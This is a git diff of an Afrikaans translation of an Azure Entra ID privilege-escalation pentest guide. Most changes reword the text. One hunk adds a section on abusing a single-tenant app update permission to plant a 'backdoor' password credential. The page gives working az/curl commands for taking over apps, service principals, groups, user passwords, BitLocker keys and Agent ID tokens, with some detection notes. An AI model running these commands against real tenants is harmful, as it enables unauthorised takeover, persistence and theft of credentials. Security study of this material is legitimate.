diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 5c44e7914..519b76b44 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,13 +3,13 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> Let daarop dat **nie al die granulêre permissions** wat ingeboude roles in Entra ID het **in aanmerking kom om in custom roles gebruik te word nie.** +> Let wel dat **nie al die fynkorrelige permissions** wat ingeboude roles in Entra ID het, **in custom roles gebruik kan word nie.** ## Roles ### Role: Privileged Role Administrator -Hierdie role bevat die nodige granulêre permissions om roles aan principals toe te ken en om meer permissions aan roles te gee. Albei actions kan misbruik word om privileges te escalate. +Hierdie role bevat die nodige fynkorrelige permissions om roles aan principals toe te ken en om meer permissions aan roles te gee. Albei actions kan misbruik word om privileges te escaleer. - Assign role to a user: ```bash @@ -27,7 +27,7 @@ az rest --method POST \ \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" }" ``` -- Voeg meer permissions by aan 'n role: +- Voeg meer permissions by ’n role: ```bash # List only custom roles az rest --method GET \ @@ -52,22 +52,53 @@ az rest --method PATCH \ ### `microsoft.directory/applications/credentials/update` -Dit laat 'n attacker toe om **credentials** (passwords of certificates) by bestaande applications te **add**. As die application bevoorregte permissions het, kan die attacker as daardie application authenticate en daardie privileges verkry. +Dit laat 'n aanvaller toe om **credentials by te voeg** (wagwoorde of sertifikate) by bestaande toepassings. As die toepassing bevoorregte permissions het, kan die aanvaller as daardie toepassing authenticate en daardie privileges verkry. ```bash # Generate a new password without overwritting old ones az ad app credential reset --id --append # Generate a new certificate without overwritting old ones az ad app credential reset --id --create-cert ``` +### `microsoft.directory/applications.myOrganization/allProperties/update` + +Hierdie permission verleen update aan **elke skryfbare property** van enige **single-tenant** application registration (`signInAudience = AzureADMyOrg`), insluitend `passwordCredentials` en `keyCredentials`. Dit is gemerk as `IsPrivileged: true` in die catalog, maar is **nie** teenwoordig in enige built-in role nie — dit verskyn byna uitsluitlik in **custom roles** wat ’n admin skep om “manage our internal apps” te delegeer sonder om te besef dat die subtipe `.myOrganization` toevallig die action scope op presies die stel apps plaas wat waarskynlik privileged Microsoft Graph permissions sal hê. + +- Enumerate apps with privileged Microsoft Graph permissions consented: +```bash +# SPs with at least one Microsoft Graph app role assigned +GRAPH_SP_ID=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv) +az rest --method GET \ +--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$GRAPH_SP_ID/appRoleAssignedTo" \ +--query "value[].{App:principalDisplayName, SP:principalId, RoleId:appRoleId}" \ +-o table + +# Resolve a RoleId to the human-readable permission name +az ad sp show --id 00000003-0000-0000-c000-000000000000 \ +--query "appRoles[?id==''].value" -o tsv +``` +- Bevestig die teiken is enkel-tenant (binne die `.myOrganization` subtipe scope): +```bash +az rest --method GET \ +--uri "https://graph.microsoft.com/v1.0/applications(appId='')" \ +--query "{audience:signInAudience, name:displayName}" +# audience must be "AzureADMyOrg" +``` +- Inject 'n credential in die teiken-app — die enigste bevoorregte stap in die ketting: +```bash +az rest --method POST \ +--uri "https://graph.microsoft.com/v1.0/applications(appId='')/addPassword" \ +--headers "Content-Type=application/json" \ +--body '{"passwordCredential":{"displayName":"backdoor"}}' +``` ### `microsoft.directory/applications.myOrganization/credentials/update` -Dit laat dieselfde aksies toe as `applications/credentials/update`, maar beperk tot enkel-gids toepassings. +Dit laat dieselfde aksies toe as `applications/credentials/update`, maar beperk tot single-directory applications. ```bash az ad app credential reset --id --append ``` ### `microsoft.directory/applications/owners/update` -Deur hulself as 'n owner by te voeg, kan 'n aanvaller die application manipuleer, insluitend credentials en permissions. +Deur hulleself as 'n owner by te voeg, kan 'n attacker die application manipuleer, insluitend credentials en permissions. ```bash az ad app owner add --id --owner-object-id az ad app credential reset --id --append @@ -77,9 +108,9 @@ az ad app owner list --id ``` ### `microsoft.directory/applications/allProperties/update` -'n Aanvaller kan 'n redirect URI byvoeg by applications wat deur users van die tenant gebruik word en dan login URLs met hulle deel wat die nuwe redirect URL gebruik om hulle tokens te steel. Let daarop dat as die user reeds by die application aangemeld was, die authentication outomaties gaan wees sonder dat die user enigiets hoef te aanvaar. +'n Aanvaller kan 'n redirect URI byvoeg by applications wat deur gebruikers van die tenant gebruik word en dan login URLs met hulle deel wat die nuwe redirect URL gebruik om hulle tokens te steel. Let daarop dat as die user reeds by die application aangemeld was, die authentication outomaties gaan wees sonder dat die user enigiets hoef te aanvaar. -Let daarop dat dit ook moontlik is om die permissions te verander wat die application request om meer permissions te kry, maar in hierdie case sal die user weer die prompt moet aanvaar wat vir al die permissions vra. +Let daarop dat dit ook moontlik is om die permissions te verander wat die application versoek om meer permissions te kry, maar in hierdie case sal die user weer die prompt moet aanvaar wat vir al die permissions vra. ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" @@ -88,11 +119,11 @@ az ad app update --id --web-redirect-uris "https://original.com/callbac ``` ### Applications Privilege Escalation -**Soos verduidelik in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** was dit baie algemeen om default applications te vind wat **API permissions** van tipe **`Application`** toegewys gehad het. ’n API Permission (soos dit in die Entra ID console genoem word) van tipe **`Application`** beteken dat die application toegang tot die API kan kry en actions kan uitvoer sonder ’n user context (sonder ’n user login in die app), en sonder om Entra ID roles nodig te hê om dit toe te laat. Daarom is dit baie algemeen om **high privileged applications in every Entra ID tenant** te vind. +**Soos verduidelik in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** was dit baie algemeen om default applications te vind wat **API permissions** van tipe **`Application`** aan hulle toegeken het. ’n API Permission (soos dit in die Entra ID console genoem word) van tipe **`Application`** beteken dat die application toegang kan kry tot die API en aksies kan uitvoer sonder ’n user context (sonder dat ’n user by die app aanmeld), en sonder om Entra ID roles te benodig om dit toe te laat. Daarom is dit baie algemeen om **high privileged applications in every Entra ID tenant** te vind. -As ’n attacker dan enige permission/role het wat toelaat om **the credentials (secret o certificate) of the application** by te werk, kan die attacker ’n nuwe credential genereer en dit dan gebruik om **authenticate as the application**, en sodoende al die permissions verkry wat die application het. +As ’n attacker dan enige permission/role het wat toelaat om die **credentials (secret o certificate) van die application te update**, kan die attacker ’n nuwe credential genereer en dit dan gebruik om **as die application te authenticate**, en al die permissions te verkry wat die application het. -Let daarop dat die genoemde blog sommige **API permissions** van algemene Microsoft default applications deel; egter, ’n ruk ná hierdie report het Microsoft hierdie issue reggestel en nou is dit nie meer moontlik om as Microsoft applications in te log nie. Dit is egter steeds moontlik om **custom applications with high privileges that could be abused** te vind. +Let daarop dat die genoemde blog some **API permissions** van algemene Microsoft default applications deel; egter, ’n geruime tyd ná hierdie report het Microsoft hierdie issue reggemaak en nou is dit nie meer moontlik om as Microsoft applications in te log nie. Dit is egter steeds moontlik om **custom applications with high privileges that could be abused** te vind. How to enumerate the API permissions of an application: ```bash @@ -125,7 +156,7 @@ az ad sp show --id --query "appRoles[?id==''].value" -o tsv az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ```
-Vind alle applications API permissions en merk Microsoft-besit APIs +Vind alle toepassings-API-toestemmings en merk Microsoft-besitte APIs ```bash #!/usr/bin/env bash set -euo pipefail @@ -241,34 +272,34 @@ done < <(jq -c '.[]' <<<"$apps_json") ### `microsoft.directory/servicePrincipals/credentials/update` -Dit laat 'n aanvaller toe om credentials by bestaande service principals te voeg. As die service principal verhoogde privileges het, kan die aanvaller daardie privileges aanneem. +Dit laat 'n attacker toe om credentials by bestaande service principals by te voeg. As die service principal verhoogde privileges het, kan die attacker daardie privileges aanneem. ```bash az ad sp credential reset --id --append ``` > [!CAUTION] -> Die nu gegenereerde wagwoord sal nie in die webkonsole verskyn nie, so dit kan 'n stealth manier wees om persistentie oor 'n service principal te handhaaf.\ -> Van die API af kan hulle gevind word met: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` +> Die nu gegenereerde wagwoord sal nie in die webkonsole verskyn nie, so dit kan ’n stealth manier wees om persistence oor ’n service principal te handhaaf.\ +> Vanuit die API kan hulle gevind word met: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` -As jy die fout kry `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` is dit omdat **dit nie moontlik is om die passwordCredentials-eienskap** van die SP te wysig nie en jy dit eers moet unlock. Hiervoor benodig jy 'n permission (`microsoft.directory/applications/allProperties/update`) wat jou toelaat om uit te voer: +As jy die error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` kry, is dit omdat **dit nie moontlik is om die passwordCredentials property** van die SP te modify nie en jy dit eers moet unlock. Hiervoor het jy ’n permission (`microsoft.directory/applications/allProperties/update`) nodig wat jou toelaat om die volgende uit te voer: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` ### Entra Agent ID blueprint credential abuse (`AgentIdentityBlueprint.AddRemoveCreds.All`) -**Agent identity blueprints** is application objects en elke blueprint skep ook 'n **agent identity blueprint principal** in die tenant. **Agent identities** is service-principal-derived children van daardie blueprint-pad. Daarom, as 'n attacker 'n **password/certificate by die blueprint** kan voeg of reeds een van sy credentials gesteel het, kan hulle later autentiseer as die **blueprint principal** en tokens vir child agent identities aanvra. +**Agent identity blueprints** is application objects en elke blueprint skep ook ’n **agent identity blueprint principal** in the tenant. **Agent identities** is service-principal-derived children van daardie blueprint path. Daarom, as ’n attacker ’n password/certificate by die blueprint kan **voeg/verwyder** of reeds een van sy credentials gesteel het, kan hulle later authenticate as die **blueprint principal** en tokens vir child agent identities request. -Dit verander 'n slegte Entra Agent ID role assignment in beide: +Dit maak ’n slegte Entra Agent ID role assignment beide: -- **Persistence**: die nuwe `passwordCredential` bly op die blueprint totdat dit verwyder word -- **Privilege escalation**: 'n low-trust/dev agent kan oorsteek na 'n ander high-trust blueprint en dan optree as sy child agents +- **Persistence**: die nuwe `passwordCredential` bly op die blueprint totdat dit removed word +- **Privilege escalation**: ’n low-trust/dev agent kan oorstap na ’n ander high-trust blueprint en dan optree as sy child agents Tipiese dangerous paths is: -- 'n compromised agent identity met **`AgentIdentityBlueprint.AddRemoveCreds.All`** -- 'n compromised owner/sponsor/admin wat die blueprint kan manage -- Diefstal van 'n bestaande blueprint secret/certificate +- ’n compromised agent identity met **`AgentIdentityBlueprint.AddRemoveCreds.All`** +- ’n compromised owner/sponsor/admin wat die blueprint kan manage +- Theft van ’n existing blueprint secret/certificate -Voeg 'n nuwe secret by die target blueprint: +Voeg ’n nuwe secret by die target blueprint: ```bash az rest --method POST \ --url "https://graph.microsoft.com/beta/applications//addPassword" \ @@ -280,7 +311,7 @@ Of met Microsoft Graph PowerShell: $params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } } Add-MgBetaApplicationPassword -ApplicationId -BodyParameter $params ``` -As die nuwe credential aanvaar word, autentiseer as die **blueprint principal** en abuse die Agent ID token exchange. Die eerste request gebruik die blueprint credential en stel **`fmi_path`** na die teiken agent identity. Die teruggestuurde token word dan hergebruik as 'n **JWT bearer `client_assertion`** om 'n Microsoft Graph token vir daardie agent identity te verkry. +As die nuwe credential aanvaar word, authenticate as die **blueprint principal** en abuse die Agent ID token exchange. Die eerste request gebruik die blueprint credential en stel **`fmi_path`** na die teiken agent identity. Die teruggestuurde token word dan hergebruik as ’n **JWT bearer `client_assertion`** om ’n Microsoft Graph token vir daardie agent identity te verkry. ```bash curl -X POST "https://login.microsoftonline.com//oauth2/v2.0/token" \ -H 'Content-Type: application/x-www-form-urlencoded' \ @@ -301,7 +332,7 @@ curl -X POST "https://login.microsoftonline.com//oauth2/v2.0/token" \ --data-urlencode 'scope=https://graph.microsoft.com/.default' ``` > [!CAUTION] -> As 'n **dev** blueprint** of sy kind child agent** credentials to 'n **prod** blueprint kan byvoeg, kruis die aanvaller die verwagte blueprint/agent trust boundary en kry volgehoue toegang tot die teiken agent-infrastruktuur. +> As ’n **dev** blueprint of sy kind child agent credentials by ’n **prod** blueprint kan voeg, kruis die aanvaller die verwagte blueprint/agent trust boundary en kry duursame toegang tot die target agent infrastructure. Quick validation / scoping: ```powershell @@ -316,27 +347,27 @@ $app.PasswordCredentials | ? { $_.KeyId -eq '' } Hunting notes: - Soek vir **`Update application – Certificates and secrets management`** in [Az - Monitoring](../../az-services/az-monitoring.md) -- Korreleer **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, en **`AADServicePrincipalSignInLogs`** deur tyd, service principal ID, user-agent, IP, en `SignInActivityId` / `UniqueTokenIdentifier` -- In `MicrosoftGraphActivityLogs`, kyk of `RequestUri` eindig in **`/applications//microsoft.graph.addPassword`** en of `Roles` **`AgentIdentityBlueprint.AddRemoveCreds.All`** bevat +- Korreleer **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, en **`AADServicePrincipalSignInLogs`** met behulp van tyd, service principal ID, user-agent, IP, en `SignInActivityId` / `UniqueTokenIdentifier` +- In `MicrosoftGraphActivityLogs`, kyk vir `RequestUri` wat eindig op **`/applications//microsoft.graph.addPassword`** en of `Roles` **`AgentIdentityBlueprint.AddRemoveCreds.All`** bevat - In `AADServicePrincipalSignInLogs`, hersien `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType`, en of die nuwe key later gebruik is -Minimal KQL to see whether the newly added secret authenticated: +Minimale KQL om te sien of die nuut bygevoegde secret geauthentiseer het: ```kusto AADServicePrincipalSignInLogs | where ServicePrincipalCredentialKeyId == "" | project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName ``` -Dit hou verband met generic [application credential abuse](../../az-services/az-azuread.md#applications) en [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), maar Entra Agent ID voeg 'n tweede fase by waar die blueprint credential geruil kan word vir 'n **ander agent identity token**. +Dit hou verband met generic [application credential abuse](../../az-services/az-azuread.md#applications) en [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), maar Entra Agent ID voeg 'n tweede stadium by waar die blueprint credential geruil kan word vir 'n **different agent identity token**. ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage` -Dit laat 'n attacker toe om credentials by bestaande service principals te voeg. As die service principal verhoogde privileges het, kan die attacker daardie privileges aanneem. +Dit laat 'n aanvaller toe om credentials by bestaande service principals by te voeg. As die service principal verhoogde privileges het, kan die aanvaller daardie privileges aanneem. ```bash az ad sp credential reset --id --append ``` ### `microsoft.directory/servicePrincipals/owners/update` -Soos by applications, laat hierdie permission toe om meer owners by 'n service principal te voeg. Om 'n service principal te besit gee control oor sy credentials en permissions. +Soos met applications, laat hierdie permission toe om meer owners by 'n service principal te voeg. Om 'n service principal te besit gee control oor sy credentials en permissions. ```bash # Add new owner spId="" @@ -354,13 +385,13 @@ az ad sp credential reset --id --append az ad sp owner list --id ``` > [!CAUTION] -> Nadat ek ’n nuwe eienaar bygevoeg het, het ek probeer om dit te verwyder, maar die API het geantwoord dat die DELETE-metode nie ondersteun word nie, selfs al is dit die metode wat jy moet gebruik om die eienaar te verwyder. So jy **kan nie vandag eienaars verwyder nie**. +> Nadat ’n nuwe eienaar bygevoeg is, het ek probeer om dit te verwyder, maar die API het geantwoord dat die DELETE-metode nie ondersteun word nie, al is dit die metode wat jy moet gebruik om die eienaar te verwyder. So jy **kan nie meer eienaars verwyder nie**. ### `microsoft.directory/servicePrincipals/disable` and `enable` -Hierdie permissions laat toe om service principals te deaktiveer en te aktiveer. ’n Aanvaller kan hierdie permission gebruik om ’n service principal wat hy op een of ander manier kan verkry, te aktiveer om privileges te eskaleer. +Hierdie permissions laat toe om service principals te disable en te enable. ’n Aanvaller kan hierdie permission gebruik om ’n service principal te enable waartoe hy op een of ander manier toegang kon kry, om privileges te escalate. -Let daarop dat vir hierdie technique die aanvaller meer permissions sal nodig hê om beheer oor die geaktiveerde service principal oor te neem. +Let daarop dat die aanvaller vir hierdie technique meer permissions sal nodig hê om beheer oor die enabled service principal oor te neem. ```bash # Disable az ad sp update --id --account-enabled false @@ -370,7 +401,7 @@ az ad sp update --id --account-enabled true ``` #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -Hierdie permissies laat toe om credentials vir single sign-on te skep en te kry, wat toegang tot third-party applications kan toelaat. +Hierdie permissions laat toe om credentials vir single sign-on te skep en te kry, wat toegang tot derdeparty applications kan moontlik maak. ```bash # Generate SSO creds for a user or a group spID="" @@ -396,30 +427,30 @@ az rest --method POST \ ### `microsoft.directory/groups/allProperties/update` -This permission allows to add users to privileged groups, leading to privilege escalation. +Hierdie toestemming laat toe om gebruikers by bevoorregte groepe te voeg, wat lei tot privilege escalation. ```bash az ad group member add --group --member-id ``` -**Nota**: Hierdie toestemming sluit Entra ID rol-toewysbare groups uit. +**Let wel**: Hierdie toestemming sluit Entra ID rol-toewysbare groepe uit. ### `microsoft.directory/groups/owners/update` -Hierdie toestemming laat toe om ’n owner van groups te word. ’n Owner van ’n group kan group membership en settings beheer, wat moontlik privileges na die group kan eskaleer. +Hierdie toestemming laat jou toe om 'n eienaar van groepe te word. 'n Eienaar van 'n groep kan groep-lidmaatskap en instellings beheer, wat moontlik privileges na die groep kan eskaleer. ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id ``` -**Nota**: Hierdie toestemming sluit Entra ID-role-assignable groups uit. +**Nota**: Hierdie permission sluit Entra ID role-assignable groups uit. ### `microsoft.directory/groups/members/update` -Hierdie toestemming laat toe om members by 'n group te voeg. 'n Aanvaller kan homself of kwaadwillige accounts by privileged groups voeg om elevated access te verkry. +Hierdie permission laat toe om members by 'n group te voeg. 'n Aanvaller kan homself of malicious accounts by privileged groups voeg wat elevated access kan verleen. ```bash az ad group member add --group --member-id ``` ### `microsoft.directory/groups/dynamicMembershipRule/update` -Hierdie permission laat toe om membership rule in 'n dynamic group op te dateer. 'n Attacker could dynamic rules wysig om homself in privileged groups in te sluit sonder eksplisiete toevoeging. +Hierdie permissie laat toe om lidmaatskapsreël in 'n dynamic group op te dateer. 'n Aanvaller kon dynamic rules wysig om homself in privileged groups in te sluit sonder expliciete toevoeging. ```bash groupId="" az rest --method PATCH \ @@ -434,7 +465,7 @@ az rest --method PATCH \ ### Dynamic Groups Privesc -Dit mag moontlik wees vir gebruikers om privileges te escalate deur hul eie properties te modify sodat hulle as members van dynamic groups bygevoeg word. Vir meer info kyk: +Dit mag moontlik wees vir gebruikers om privileges te escalate deur hul eie properties te modify sodat hulle as members van dynamic groups bygevoeg word. Vir meer info, check: {{#ref}} dynamic-groups.md @@ -444,7 +475,7 @@ dynamic-groups.md ### `microsoft.directory/users/password/update` -Hierdie permission laat toe om die password van non-admin users te reset, wat 'n potensiële attacker in staat stel om privileges na ander users te escalate. Hierdie permission kan nie aan custom roles assigned word nie. +Hierdie permission laat toe om password vir nie-admin users te reset, wat ’n potensiële attacker in staat stel om privileges na ander users te escalate. Hierdie permission kan nie aan custom roles assigned word nie. ```bash # Update user password userId="" @@ -464,7 +495,7 @@ az rest --method PATCH \ ``` ### `microsoft.directory/users/basic/update` -Hierdie privilege laat toe om properties van die user te modify. Dit is algemeen om dynamic groups te vind wat users byvoeg gebaseer op property values, daarom kan hierdie permission ’n user toelaat om die nodige property value in te stel om ’n member van ’n spesifieke dynamic group te wees en privileges te escalate. +Hierdie privilege laat toe om properties van die user te modify. Dit is algemeen om dynamic groups te vind wat users byvoeg gebaseer op properties values, daarom kan hierdie permission ’n user toelaat om die nodige property value te stel om lid van ’n spesifieke dynamic group te wees en privileges te escalate. ```bash #e.g. change manager of a user victimUser="" @@ -492,7 +523,7 @@ az-conditional-access-policies-mfa-bypass.md ### `microsoft.directory/devices/registeredOwners/update` -Hierdie permission laat attackers toe om hulself as eienaars van devices toe te wys om beheer of toegang tot device-spesifieke settings en data te verkry. +Hierdie permission laat attackers toe om hulself as owners van devices toe te wys om beheer of toegang te verkry tot device-spesifieke settings en data. ```bash deviceId="" userId="" @@ -503,7 +534,7 @@ az rest --method POST \ ``` ### `microsoft.directory/devices/registeredUsers/update` -Hierdie toestemming laat attackers toe om hul rekening met devices te assosieer om toegang te verkry of security policies te omseil. +Hierdie toestemming laat aanvallers toe om hul rekening met toestelle te assosieer om toegang te verkry of om sekuriteitsbeleide te omseil. ```bash deviceId="" userId="" @@ -514,7 +545,7 @@ az rest --method POST \ ``` ### `microsoft.directory/deviceLocalCredentials/password/read` -Hierdie permission laat attackers toe om die properties van die backed up local administrator account credentials vir Microsoft Entra joined devices te lees, insluitend die password +Hierdie toestemming laat attackers toe om die eienskappe van die gerugsteunde plaaslike administrator account credentials vir Microsoft Entra joined devices te lees, insluitend die password ```bash # List deviceLocalCredentials az rest --method GET \ @@ -529,7 +560,7 @@ az rest --method GET \ ### `microsoft.directory/bitlockerKeys/key/read` -Hierdie toestemming laat toe om BitLocker keys te kry, wat 'n aanvaller kan toelaat om drives te decrypt, en so data confidentiality te compromise. +Hierdie permission laat toe om toegang tot BitLocker keys te kry, wat 'n attacker kan toelaat om drives te decrypt, en data confidentiality te kompromitteer. ```bash # List recovery keys az rest --method GET \ @@ -540,7 +571,7 @@ recoveryKeyId="" az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" ``` -## Ander interessante permissions (TODO) +## Ander Interessante permissions (TODO) - `microsoft.directory/applications/permissions/update` - `microsoft.directory/servicePrincipals/permissions/update`